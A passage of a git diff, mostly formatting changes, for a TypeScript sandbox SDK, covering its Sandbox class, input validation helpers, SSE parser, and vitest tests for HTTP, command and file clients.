this.codeInterpreter.runCodeStream(code, options), listCodeContexts: () => this.codeInterpreter.listCodeContexts(), - deleteCodeContext: (contextId) => this.codeInterpreter.deleteCodeContext(contextId), + deleteCodeContext: (contextId) => + this.codeInterpreter.deleteCodeContext(contextId) }; } @@ -1073,16 +1216,24 @@ export class Sandbox extends Container implements ISandbox { // Code interpreter methods - delegate to CodeInterpreter wrapper // ============================================================================ - async createCodeContext(options?: CreateContextOptions): Promise { + async createCodeContext( + options?: CreateContextOptions + ): Promise { return this.codeInterpreter.createCodeContext(options); } - async runCode(code: string, options?: RunCodeOptions): Promise { + async runCode( + code: string, + options?: RunCodeOptions + ): Promise { const execution = await this.codeInterpreter.runCode(code, options); return execution.toJSON(); } - async runCodeStream(code: string, options?: RunCodeOptions): Promise { + async runCodeStream( + code: string, + options?: RunCodeOptions + ): Promise { return this.codeInterpreter.runCodeStream(code, options); } diff --git a/packages/sandbox/src/security.ts b/packages/sandbox/src/security.ts index 6f8252f5..c89f7503 100644 --- a/packages/sandbox/src/security.ts +++ b/packages/sandbox/src/security.ts @@ -10,7 +10,10 @@ */ export class SecurityError extends Error { - constructor(message: string, public readonly code?: string) { + constructor( + message: string, + public readonly code?: string + ) { super(message); this.name = 'SecurityError'; } @@ -34,7 +37,7 @@ export function validatePort(port: number): boolean { // Exclude ports reserved by our system const reservedPorts = [ 3000, // Control plane port - 8787, // Common wrangler dev port + 8787 // Common wrangler dev port ]; if (reservedPorts.includes(port)) { @@ -67,8 +70,13 @@ export function sanitizeSandboxId(id: string): string { // Prevent reserved names that cause technical conflicts const reservedNames = [ - 'www', 'api', 'admin', 'root', 'system', - 'cloudflare', 'workers' + 'www', + 'api', + 'admin', + 'root', + 'system', + 'cloudflare', + 'workers' ]; const lowerCaseId = id.toLowerCase(); @@ -82,7 +90,6 @@ export function sanitizeSandboxId(id: string): string { return id; } - /** * Validates language for code interpreter * Only allows supported languages @@ -92,7 +99,15 @@ export function validateLanguage(language: string | undefined): void { return; // undefined is valid, will default to python } - const supportedLanguages = ['python', 'python3', 'javascript', 'js', 'node', 'typescript', 'ts']; + const supportedLanguages = [ + 'python', + 'python3', + 'javascript', + 'js', + 'node', + 'typescript', + 'ts' + ]; const normalized = language.toLowerCase(); if (!supportedLanguages.includes(normalized)) { diff --git a/packages/sandbox/src/sse-parser.ts b/packages/sandbox/src/sse-parser.ts index 9dab808d..77c87ac9 100644 --- a/packages/sandbox/src/sse-parser.ts +++ b/packages/sandbox/src/sse-parser.ts @@ -76,7 +76,6 @@ export async function* parseSSEStream( } } - /** * Helper to convert a Response with SSE stream directly to AsyncIterable * @param response - Response object with SSE stream @@ -87,7 +86,9 @@ export async function* responseToAsyncIterable( signal?: AbortSignal ): AsyncIterable { if (!response.ok) { - throw new Error(`Response not ok: ${response.status} ${response.statusText}`); + throw new Error( + `Response not ok: ${response.status} ${response.statusText}` + ); } if (!response.body) { @@ -140,4 +141,4 @@ export function asyncIterableToSSEStream( // Handle stream cancellation } }); -} \ No newline at end of file +} diff --git a/packages/sandbox/tests/base-client.test.ts b/packages/sandbox/tests/base-client.test.ts index 6e858d88..cfdefbe6 100644 --- a/packages/sandbox/tests/base-client.test.ts +++ b/packages/sandbox/tests/base-client.test.ts @@ -31,11 +31,14 @@ class TestHttpClient extends BaseHttpClient { super({ baseUrl: 'http://test.com', port: 3000, - ...options, + ...options }); } - public async testRequest(endpoint: string, data?: Record): Promise { + public async testRequest( + endpoint: string, + data?: Record + ): Promise { if (data) { return this.post(endpoint, data); } @@ -48,10 +51,9 @@ class TestHttpClient extends BaseHttpClient { } public async testErrorHandling(errorResponse: ErrorResponse) { - const response = new Response( - JSON.stringify(errorResponse), - { status: errorResponse.httpStatus || 400 } - ); + const response = new Response(JSON.stringify(errorResponse), { + status: errorResponse.httpStatus || 400 + }); return this.handleErrorResponse(response); } } @@ -63,15 +65,15 @@ describe('BaseHttpClient', () => { beforeEach(() => { vi.clearAllMocks(); - + mockFetch = vi.fn(); global.fetch = mockFetch as unknown as typeof fetch; onError = vi.fn(); - + client = new TestHttpClient({ baseUrl: 'http://test.com', port: 3000, - onError, + onError }); }); @@ -81,10 +83,12 @@ describe('BaseHttpClient', () => { describe('core request functionality', () => { it('should handle successful API requests', async () => { - mockFetch.mockResolvedValue(new Response( - JSON.stringify({ success: true, data: 'operation completed' }), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response( + JSON.stringify({ success: true, data: 'operation completed' }), + { status: 200 } + ) + ); const result = await client.testRequest('/api/test'); @@ -94,12 +98,16 @@ describe('BaseHttpClient', () => { it('should handle POST requests with data', async () => { const requestData = { action: 'create', name: 'test-resource' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify({ success: true, id: 'resource-123' }), - { status: 201 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify({ success: true, id: 'resource-123' }), { + status: 201 + }) + ); - const result = await client.testRequest('/api/create', requestData); + const result = await client.testRequest( + '/api/create', + requestData + ); expect(result.success).toBe(true); expect(result.id).toBe('resource-123'); @@ -123,7 +131,7 @@ describe('BaseHttpClient', () => { httpStatus: 404, timestamp: new Date().toISOString() }, - expectedError: FileNotFoundError, + expectedError: FileNotFoundError }, { containerError: { @@ -133,7 +141,7 @@ describe('BaseHttpClient', () => { httpStatus: 403, timestamp: new Date().toISOString() }, - expectedError: PermissionDeniedError, + expectedError: PermissionDeniedError }, { containerError: { @@ -143,7 +151,7 @@ describe('BaseHttpClient', () => { httpStatus: 400, timestamp: new Date().toISOString() }, - expectedError: CommandError, + expectedError: CommandError }, { containerError: { @@ -153,7 +161,7 @@ describe('BaseHttpClient', () => { httpStatus: 500, timestamp: new Date().toISOString() }, - expectedError: FileSystemError, + expectedError: FileSystemError }, { containerError: { @@ -163,49 +171,56 @@ describe('BaseHttpClient', () => { httpStatus: 500, timestamp: new Date().toISOString() }, - expectedError: SandboxError, + expectedError: SandboxError } ]; for (const test of errorMappingTests) { - await expect(client.testErrorHandling(test.containerError as ErrorResponse)) - .rejects.toThrow(test.expectedError); - - expect(onError).toHaveBeenCalledWith(test.containerError.message, undefined); + await expect( + client.testErrorHandling(test.containerError as ErrorResponse) + ).rejects.toThrow(test.expectedError); + + expect(onError).toHaveBeenCalledWith( + test.containerError.message, + undefined + ); } }); it('should handle malformed error responses', async () => { - mockFetch.mockResolvedValue(new Response( - 'invalid json {', - { status: 500 } - )); + mockFetch.mockResolvedValue( + new Response('invalid json {', { status: 500 }) + ); - await expect(client.testRequest('/api/test')) - .rejects.toThrow(SandboxError); + await expect(client.testRequest('/api/test')).rejects.toThrow( + SandboxError + ); }); it('should handle network failures', async () => { mockFetch.mockRejectedValue(new Error('Network connection timeout')); - await expect(client.testRequest('/api/test')) - .rejects.toThrow('Network connection timeout'); + await expect(client.testRequest('/api/test')).rejects.toThrow( + 'Network connection timeout' + ); }); it('should handle server unavailable scenarios', async () => { - mockFetch.mockResolvedValue(new Response( - 'Service Unavailable', - { status: 503 } - )); + mockFetch.mockResolvedValue( + new Response('Service Unavailable', { status: 503 }) + ); - await expect(client.testRequest('/api/test')) - .rejects.toThrow(SandboxError); + await expect(client.testRequest('/api/test')).rejects.toThrow( + SandboxError + ); - expect(onError).toHaveBeenCalledWith('HTTP error! status: 503', undefined); + expect(onError).toHaveBeenCalledWith( + 'HTTP error! status: 503', + undefined + ); }); }); - describe('streaming functionality', () => { it('should handle streaming responses', async () => { const streamData = 'data: {"type":"output","content":"stream data"}\n\n'; @@ -216,10 +231,12 @@ describe('BaseHttpClient', () => { } }); - mockFetch.mockResolvedValue(new Response(mockStream, { - status: 200, - headers: { 'Content-Type': 'text/event-stream' } - })); + mockFetch.mockResolvedValue( + new Response(mockStream, { + status: 200, + headers: { 'Content-Type': 'text/event-stream' } + }) + ); const stream = await client.testStreamRequest('/api/stream'); @@ -236,41 +253,52 @@ describe('BaseHttpClient', () => { }); it('should handle streaming errors', async () => { - mockFetch.mockResolvedValue(new Response( - JSON.stringify({ error: 'Stream initialization failed', code: 'STREAM_ERROR' }), - { status: 400 } - )); + mockFetch.mockResolvedValue( + new Response( + JSON.stringify({ + error: 'Stream initialization failed', + code: 'STREAM_ERROR' + }), + { status: 400 } + ) + ); - await expect(client.testStreamRequest('/api/bad-stream')) - .rejects.toThrow(SandboxError); + await expect(client.testStreamRequest('/api/bad-stream')).rejects.toThrow( + SandboxError + ); }); it('should handle missing stream body', async () => { - mockFetch.mockResolvedValue(new Response(null, { - status: 200, - headers: { 'Content-Type': 'text/event-stream' } - })); + mockFetch.mockResolvedValue( + new Response(null, { + status: 200, + headers: { 'Content-Type': 'text/event-stream' } + }) + ); - await expect(client.testStreamRequest('/api/empty-stream')) - .rejects.toThrow('No response body for streaming'); + await expect( + client.testStreamRequest('/api/empty-stream') + ).rejects.toThrow('No response body for streaming'); }); }); describe('stub integration', () => { it('should use stub when provided instead of fetch', async () => { - const stubFetch = vi.fn().mockResolvedValue(new Response( - JSON.stringify({ success: true, source: 'stub' }), - { status: 200 } - )); + const stubFetch = vi.fn().mockResolvedValue( + new Response(JSON.stringify({ success: true, source: 'stub' }), { + status: 200 + }) + ); const stub = { containerFetch: stubFetch }; const stubClient = new TestHttpClient({ baseUrl: 'http://test.com', port: 3000, - stub, + stub }); - const result = await stubClient.testRequest('/api/stub-test'); + const result = + await stubClient.testRequest('/api/stub-test'); expect(result.success).toBe(true); expect(result.source).toBe('stub'); @@ -283,16 +311,19 @@ describe('BaseHttpClient', () => { }); it('should handle stub errors', async () => { - const stubFetch = vi.fn().mockRejectedValue(new Error('Stub connection failed')); + const stubFetch = vi + .fn() + .mockRejectedValue(new Error('Stub connection failed')); const stub = { containerFetch: stubFetch }; const stubClient = new TestHttpClient({ baseUrl: 'http://test.com', port: 3000, - stub, + stub }); - await expect(stubClient.testRequest('/api/stub-error')) - .rejects.toThrow('Stub connection failed'); + await expect(stubClient.testRequest('/api/stub-error')).rejects.toThrow( + 'Stub connection failed' + ); }); }); @@ -303,26 +334,31 @@ describe('BaseHttpClient', () => { { status: 202, shouldSucceed: true }, { status: 409, shouldSucceed: false }, { status: 422, shouldSucceed: false }, - { status: 429, shouldSucceed: false }, + { status: 429, shouldSucceed: false } ]; for (const test of unusualStatusTests) { - mockFetch.mockResolvedValueOnce(new Response( - test.shouldSucceed - ? JSON.stringify({ success: true, status: test.status }) - : JSON.stringify({ error: `Status ${test.status}` }), - { status: test.status } - )); + mockFetch.mockResolvedValueOnce( + new Response( + test.shouldSucceed + ? JSON.stringify({ success: true, status: test.status }) + : JSON.stringify({ error: `Status ${test.status}` }), + { status: test.status } + ) + ); if (test.shouldSucceed) { - const result = await client.testRequest('/api/unusual-status'); + const result = await client.testRequest( + '/api/unusual-status' + ); expect(result.success).toBe(true); expect(result.status).toBe(test.status); } else { - await expect(client.testRequest('/api/unusual-status')) - .rejects.toThrow(); + await expect( + client.testRequest('/api/unusual-status') + ).rejects.toThrow(); } } }); }); -}); \ No newline at end of file +}); diff --git a/packages/sandbox/tests/command-client.test.ts b/packages/sandbox/tests/command-client.test.ts index f4511806..62097baa 100644 --- a/packages/sandbox/tests/command-client.test.ts +++ b/packages/sandbox/tests/command-client.test.ts @@ -1,7 +1,11 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; import type { ExecuteResponse } from '../src/clients'; import { CommandClient } from '../src/clients/command-client'; -import { CommandError, CommandNotFoundError, SandboxError } from '../src/errors'; +import { + CommandError, + CommandNotFoundError, + SandboxError +} from '../src/errors'; describe('CommandClient', () => { let client: CommandClient; @@ -11,18 +15,18 @@ describe('CommandClient', () => { beforeEach(() => { vi.clearAllMocks(); - + mockFetch = vi.fn(); global.fetch = mockFetch as unknown as typeof fetch; - + onCommandComplete = vi.fn(); onError = vi.fn(); - + client = new CommandClient({ baseUrl: 'http://test.com', port: 3000, onCommandComplete, - onError, + onError }); }); @@ -38,13 +42,12 @@ describe('CommandClient', () => { stderr: '', exitCode: 0, command: 'echo "Hello World"', - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.execute('echo "Hello World"', 'session-exec'); @@ -54,7 +57,11 @@ describe('CommandClient', () => { expect(result.exitCode).toBe(0); expect(result.command).toBe('echo "Hello World"'); expect(onCommandComplete).toHaveBeenCalledWith( - true, 0, 'Hello World\n', '', 'echo "Hello World"' + true, + 0, + 'Hello World\n', + '', + 'echo "Hello World"' ); }); @@ -65,13 +72,12 @@ describe('CommandClient', () => { stderr: 'command not found: nonexistent-cmd\n', exitCode: 127, command: 'nonexistent-cmd', - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.execute('nonexistent-cmd', 'session-exec'); @@ -80,7 +86,11 @@ describe('CommandClient', () => { expect(result.stderr).toContain('command not found'); expect(result.stdout).toBe(''); expect(onCommandComplete).toHaveBeenCalledWith( - false, 127, '', 'command not found: nonexistent-cmd\n', 'nonexistent-cmd' + false, + 127, + '', + 'command not found: nonexistent-cmd\n', + 'nonexistent-cmd' ); }); @@ -93,13 +103,13 @@ describe('CommandClient', () => { timestamp: new Date().toISOString() }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 404 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 404 }) + ); - await expect(client.execute('invalidcmd', 'session-err')) - .rejects.toThrow(CommandNotFoundError); + await expect(client.execute('invalidcmd', 'session-err')).rejects.toThrow( + CommandNotFoundError + ); expect(onError).toHaveBeenCalledWith( expect.stringContaining('Command not found'), 'invalidcmd' @@ -109,30 +119,34 @@ describe('CommandClient', () => { it('should handle network failures gracefully', async () => { mockFetch.mockRejectedValue(new Error('Network connection failed')); - await expect(client.execute('ls', 'session-err')) - .rejects.toThrow('Network connection failed'); + await expect(client.execute('ls', 'session-err')).rejects.toThrow( + 'Network connection failed' + ); expect(onError).toHaveBeenCalledWith('Network connection failed', 'ls'); }); it('should handle server errors with proper status codes', async () => { const scenarios = [ { status: 400, code: 'COMMAND_EXECUTION_ERROR', error: CommandError }, - { status: 500, code: 'EXECUTION_ERROR', error: SandboxError }, + { status: 500, code: 'EXECUTION_ERROR', error: SandboxError } ]; for (const scenario of scenarios) { - mockFetch.mockResolvedValueOnce(new Response( - JSON.stringify({ - code: scenario.code, - message: 'Test error', - context: {}, - httpStatus: scenario.status, - timestamp: new Date().toISOString() - }), - { status: scenario.status } - )); - await expect(client.execute('test-command', 'session-err')) - .rejects.toThrow(scenario.error); + mockFetch.mockResolvedValueOnce( + new Response( + JSON.stringify({ + code: scenario.code, + message: 'Test error', + context: {}, + httpStatus: scenario.status, + timestamp: new Date().toISOString() + }), + { status: scenario.status } + ) + ); + await expect( + client.execute('test-command', 'session-err') + ).rejects.toThrow(scenario.error); } }); @@ -144,13 +158,12 @@ describe('CommandClient', () => { stderr: '', exitCode: 0, command: 'find / -type f', - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.execute('find / -type f', 'session-exec'); @@ -164,22 +177,24 @@ describe('CommandClient', () => { mockFetch.mockImplementation((url: string, options: RequestInit) => { const body = JSON.parse(options.body as string); const command = body.command; - return Promise.resolve(new Response( - JSON.stringify({ - success: true, - stdout: `output for ${command}\n`, - stderr: '', - exitCode: 0, - command: command, - timestamp: '2023-01-01T00:00:00Z', - }), - { status: 200 } - )); + return Promise.resolve( + new Response( + JSON.stringify({ + success: true, + stdout: `output for ${command}\n`, + stderr: '', + exitCode: 0, + command: command, + timestamp: '2023-01-01T00:00:00Z' + }), + { status: 200 } + ) + ); }); const commands = ['echo 1', 'echo 2', 'echo 3', 'pwd', 'ls']; const results = await Promise.all( - commands.map(cmd => client.execute(cmd, 'session-concurrent')) + commands.map((cmd) => client.execute(cmd, 'session-concurrent')) ); expect(results).toHaveLength(5); @@ -192,13 +207,16 @@ describe('CommandClient', () => { }); it('should handle malformed server responses', async () => { - mockFetch.mockResolvedValue(new Response( - 'invalid json {', - { status: 200, headers: { 'Content-Type': 'application/json' } } - )); + mockFetch.mockResolvedValue( + new Response('invalid json {', { + status: 200, + headers: { 'Content-Type': 'application/json' } + }) + ); - await expect(client.execute('ls', 'session-err')) - .rejects.toThrow(SandboxError); + await expect(client.execute('ls', 'session-err')).rejects.toThrow( + SandboxError + ); expect(onError).toHaveBeenCalled(); }); @@ -211,13 +229,13 @@ describe('CommandClient', () => { timestamp: new Date().toISOString() }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 400 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 400 }) + ); - await expect(client.execute('', 'session-err')) - .rejects.toThrow(CommandError); + await expect(client.execute('', 'session-err')).rejects.toThrow( + CommandError + ); }); it('should handle streaming command execution', async () => { @@ -235,12 +253,17 @@ describe('CommandClient', () => { } }); - mockFetch.mockResolvedValue(new Response(mockStream, { - status: 200, - headers: { 'Content-Type': 'text/event-stream' } - })); + mockFetch.mockResolvedValue( + new Response(mockStream, { + status: 200, + headers: { 'Content-Type': 'text/event-stream' } + }) + ); - const stream = await client.executeStream('tail -f app.log', 'session-stream'); + const stream = await client.executeStream( + 'tail -f app.log', + 'session-stream' + ); expect(stream).toBeInstanceOf(ReadableStream); const reader = stream.getReader(); @@ -263,7 +286,6 @@ describe('CommandClient', () => { expect(content).toContain('"type":"complete"'); }); - it('should handle streaming errors gracefully', async () => { const errorResponse = { code: 'STREAM_START_ERROR', @@ -273,13 +295,13 @@ describe('CommandClient', () => { timestamp: new Date().toISOString() }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 400 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 400 }) + ); - await expect(client.executeStream('invalid-stream-command', 'session-err')) - .rejects.toThrow(CommandError); + await expect( + client.executeStream('invalid-stream-command', 'session-err') + ).rejects.toThrow(CommandError); expect(onError).toHaveBeenCalledWith( expect.stringContaining('Command failed to start streaming'), 'invalid-stream-command' @@ -287,20 +309,26 @@ describe('CommandClient', () => { }); it('should handle streaming without response body', async () => { - mockFetch.mockResolvedValue(new Response(null, { - status: 200, - headers: { 'Content-Type': 'text/event-stream' } - })); + mockFetch.mockResolvedValue( + new Response(null, { + status: 200, + headers: { 'Content-Type': 'text/event-stream' } + }) + ); - await expect(client.executeStream('test-command', 'session-err')) - .rejects.toThrow('No response body for streaming'); + await expect( + client.executeStream('test-command', 'session-err') + ).rejects.toThrow('No response body for streaming'); }); it('should handle network failures during streaming setup', async () => { - mockFetch.mockRejectedValue(new Error('Connection lost during streaming')); + mockFetch.mockRejectedValue( + new Error('Connection lost during streaming') + ); - await expect(client.executeStream('stream-command', 'session-err')) - .rejects.toThrow('Connection lost during streaming'); + await expect( + client.executeStream('stream-command', 'session-err') + ).rejects.toThrow('Connection lost during streaming'); expect(onError).toHaveBeenCalledWith( 'Connection lost during streaming', 'stream-command' @@ -312,7 +340,7 @@ describe('CommandClient', () => { it('should work without any callbacks', async () => { const clientWithoutCallbacks = new CommandClient({ baseUrl: 'http://test.com', - port: 3000, + port: 3000 }); const mockResponse: ExecuteResponse = { @@ -321,15 +349,17 @@ describe('CommandClient', () => { stderr: '', exitCode: 0, command: 'echo test', - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); - const result = await clientWithoutCallbacks.execute('echo test', 'session-nocb'); + const result = await clientWithoutCallbacks.execute( + 'echo test', + 'session-nocb' + ); expect(result.success).toBe(true); expect(result.stdout).toBe('test output\n'); @@ -338,13 +368,14 @@ describe('CommandClient', () => { it('should handle errors gracefully without callbacks', async () => { const clientWithoutCallbacks = new CommandClient({ baseUrl: 'http://test.com', - port: 3000, + port: 3000 }); mockFetch.mockRejectedValue(new Error('Network failed')); - await expect(clientWithoutCallbacks.execute('test', 'session-nocb')) - .rejects.toThrow('Network failed'); + await expect( + clientWithoutCallbacks.execute('test', 'session-nocb') + ).rejects.toThrow('Network failed'); }); it('should call onCommandComplete for both success and failure', async () => { @@ -354,17 +385,20 @@ describe('CommandClient', () => { stderr: '', exitCode: 0, command: 'echo success', - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValueOnce(new Response( - JSON.stringify(successResponse), - { status: 200 } - )); + mockFetch.mockResolvedValueOnce( + new Response(JSON.stringify(successResponse), { status: 200 }) + ); await client.execute('echo success', 'session-cb'); expect(onCommandComplete).toHaveBeenLastCalledWith( - true, 0, 'success\n', '', 'echo success' + true, + 0, + 'success\n', + '', + 'echo success' ); const failureResponse: ExecuteResponse = { @@ -373,17 +407,20 @@ describe('CommandClient', () => { stderr: 'error\n', exitCode: 1, command: 'false', - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValueOnce(new Response( - JSON.stringify(failureResponse), - { status: 200 } - )); + mockFetch.mockResolvedValueOnce( + new Response(JSON.stringify(failureResponse), { status: 200 }) + ); await client.execute('false', 'session-cb'); expect(onCommandComplete).toHaveBeenLastCalledWith( - false, 1, '', 'error\n', 'false' + false, + 1, + '', + 'error\n', + 'false' ); }); }); @@ -399,9 +436,9 @@ describe('CommandClient', () => { baseUrl: 'http://custom.com', port: 8080, onCommandComplete: vi.fn(), - onError: vi.fn(), + onError: vi.fn() }); expect(fullOptionsClient).toBeDefined(); }); }); -}); \ No newline at end of file +}); diff --git a/packages/sandbox/tests/file-client.test.ts b/packages/sandbox/tests/file-client.test.ts index d1558f3c..ff266cab 100644 --- a/packages/sandbox/tests/file-client.test.ts +++ b/packages/sandbox/tests/file-client.test.ts @@ -11,11 +11,11 @@ import type { import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; import { FileClient } from '../src/clients/file-client'; import { - FileExistsError, - FileNotFoundError, + FileExistsError, + FileNotFoundError, FileSystemError, - PermissionDeniedError, - SandboxError + PermissionDeniedError, + SandboxError } from '../src/errors'; describe('FileClient', () => { @@ -24,13 +24,13 @@ describe('FileClient', () => { beforeEach(() => { vi.clearAllMocks(); - + mockFetch = vi.fn(); global.fetch = mockFetch as unknown as typeof fetch; - + client = new FileClient({ baseUrl: 'http://test.com', - port: 3000, + port: 3000 }); }); @@ -45,13 +45,12 @@ describe('FileClient', () => { exitCode: 0, path: '/app/new-directory', recursive: false, - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.mkdir('/app/new-directory', 'session-mkdir'); @@ -67,15 +66,18 @@ describe('FileClient', () => { exitCode: 0, path: '/app/deep/nested/directory', recursive: true, - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); - const result = await client.mkdir('/app/deep/nested/directory', 'session-mkdir', { recursive: true }); + const result = await client.mkdir( + '/app/deep/nested/directory', + 'session-mkdir', + { recursive: true } + ); expect(result.success).toBe(true); expect(result.recursive).toBe(true); @@ -89,13 +91,13 @@ describe('FileClient', () => { path: '/root/secure' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 403 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 403 }) + ); - await expect(client.mkdir('/root/secure', 'session-mkdir')) - .rejects.toThrow(PermissionDeniedError); + await expect( + client.mkdir('/root/secure', 'session-mkdir') + ).rejects.toThrow(PermissionDeniedError); }); it('should handle directory already exists errors', async () => { @@ -105,13 +107,13 @@ describe('FileClient', () => { path: '/app/existing' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 409 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 409 }) + ); - await expect(client.mkdir('/app/existing', 'session-mkdir')) - .rejects.toThrow(FileExistsError); + await expect( + client.mkdir('/app/existing', 'session-mkdir') + ).rejects.toThrow(FileExistsError); }); }); @@ -121,16 +123,19 @@ describe('FileClient', () => { success: true, exitCode: 0, path: '/app/config.json', - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const content = '{"setting": "value", "enabled": true}'; - const result = await client.writeFile('/app/config.json', content, 'session-write'); + const result = await client.writeFile( + '/app/config.json', + content, + 'session-write' + ); expect(result.success).toBe(true); expect(result.path).toBe('/app/config.json'); @@ -142,16 +147,21 @@ describe('FileClient', () => { success: true, exitCode: 0, path: '/app/image.png', - timestamp: '2023-01-01T00:00:00Z', + timestamp: '2023-01-01T00:00:00Z' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); - const binaryData = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChAI9jYlkKQAAAABJRU5ErkJggg=='; - const result = await client.writeFile('/app/image.png', binaryData, 'session-write', { encoding: 'base64' }); + const binaryData = + 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChAI9jYlkKQAAAABJRU5ErkJggg=='; + const result = await client.writeFile( + '/app/image.png', + binaryData, + 'session-write', + { encoding: 'base64' } + ); expect(result.success).toBe(true); expect(result.path).toBe('/app/image.png'); @@ -164,13 +174,13 @@ describe('FileClient', () => { path: '/system/readonly.txt' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 403 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 403 }) + ); - await expect(client.writeFile('/system/readonly.txt', 'content', 'session-err')) - .rejects.toThrow(PermissionDeniedError); + await expect( + client.writeFile('/system/readonly.txt', 'content', 'session-err') + ).rejects.toThrow(PermissionDeniedError); }); it('should handle disk space errors', async () => { @@ -180,13 +190,17 @@ describe('FileClient', () => { path: '/app/largefile.dat' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 507 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 507 }) + ); - await expect(client.writeFile('/app/largefile.dat', 'x'.repeat(1000000), 'session-err')) - .rejects.toThrow(FileSystemError); + await expect( + client.writeFile( + '/app/largefile.dat', + 'x'.repeat(1000000), + 'session-err' + ) + ).rejects.toThrow(FileSystemError); }); }); @@ -208,13 +222,12 @@ database: encoding: 'utf-8', isBinary: false, mimeType: 'text/yaml', - size: 100, + size: 100 }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); const result = await client.readFile('/app/config.yaml', 'session-read'); @@ -230,7 +243,8 @@ database: }); it('should read binary files with base64 encoding and metadata', async () => { - const binaryContent = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChAI9jYlkKQAAAABJRU5ErkJggg=='; + const binaryContent = + 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChAI9jYlkKQAAAABJRU5ErkJggg=='; const mockResponse: ReadFileResult = { success: true, exitCode: 0, @@ -240,15 +254,16 @@ database: encoding: 'base64', isBinary: true, mimeType: 'image/png', - size: 95, + size: 95 }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(mockResponse), - { status: 200 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(mockResponse), { status: 200 }) + ); - const result = await client.readFile('/app/logo.png', 'session-read', { encoding: 'base64' }); + const result = await client.readFile('/app/logo.png', 'session-read', { + encoding: 'base64' + }); expect(result.success).toBe(true); expect(result.content).toBe(binaryContent); @@ -266,13 +281,13 @@ database: path: '/app/missing.txt' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 404 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), { status: 404 }) + ); - await expect(client.readFile('/app/missing.txt', 'session-read')) - .rejects.toThrow(FileNotFoundError); + await expect( + client.readFile('/app/missing.txt', 'session-read') + ).rejects.toThrow(FileNotFoundError); }); it('should handle directory read attempts', async () => { @@ -282,13 +297,13 @@ database: path: '/app/logs' }; - mockFetch.mockResolvedValue(new Response( - JSON.stringify(errorResponse), - { status: 400 } - )); + mockFetch.mockResolvedValue( + new Response(JSON.stringify(errorResponse), 